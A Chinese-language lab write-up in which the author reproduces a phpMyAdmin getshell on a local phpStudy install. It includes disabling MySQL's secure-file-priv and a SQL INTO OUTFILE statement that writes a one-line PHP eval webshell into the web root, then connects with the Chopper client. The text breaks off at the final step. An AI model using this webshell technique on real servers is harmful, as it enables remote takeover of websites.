学习mysql数据库漏洞整理过程中,想复现phpmyadmin写入一句话后门getshell的过程异常艰辛。
phpmyadmin是很多网站用来管理数据库的一个系统,尤其是mysql数据库管理的较多。
phpmyadmin实现mysql数据库的管理,采用phpstudy实现较为方便。
过程出现较多障碍,一步步走向成功,记录。
1 启动phpstudy,出现mysql无法启动的问题
因为之前已经装过Mysql,并使用过。因此要关闭mysql数据库,并且要把系统服务里面的MySQL删除,留下MySQLa服务。
以管理员运行cmd,在cmd命令行下输入:
sc delete mysql 即可删除。
2 在通过报错等方式获取phpmyadmin绝对路径后,出现#1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement。
原因是没有开通导入此路径的权限。通过SHOW VARIABLES LIKE "secure_file_priv";查询
因此,我们需要开通此权限在,打开磁盘下PhpStudy\PHPTutorial\MySQL\my.ini文件,修改Secure File Priv。
可以参考一下:
(1)不允许MySQL进行导入导出
# Secure File Priv.
secure-file-priv = null
(2)只允许MySQL在指定的目录下进行导入导出操作
# Secure File Priv.
secure-file-priv = /目录/
(3)不对MySQL的导入导出进行限制(注释或删除secure-file-priv配置)
# Secure File Priv.
#secure-file-priv = "C:/ProgramData/MySQL/MySQL Server 5.7/Uploads"
这里我采用第二种方法,修改指定目录
然后重启phpstudy,重新登录phpmyadmin,然后执行:
select '<?php eval($_POST[cmd]); ?>' into outfile 'E:/PhpStudy/PHPTutorial/WWW/phpMyAdmin/cmd.php';
成功。
访问phpmyadmin下次文件。
然后采用菜刀连接,getshell: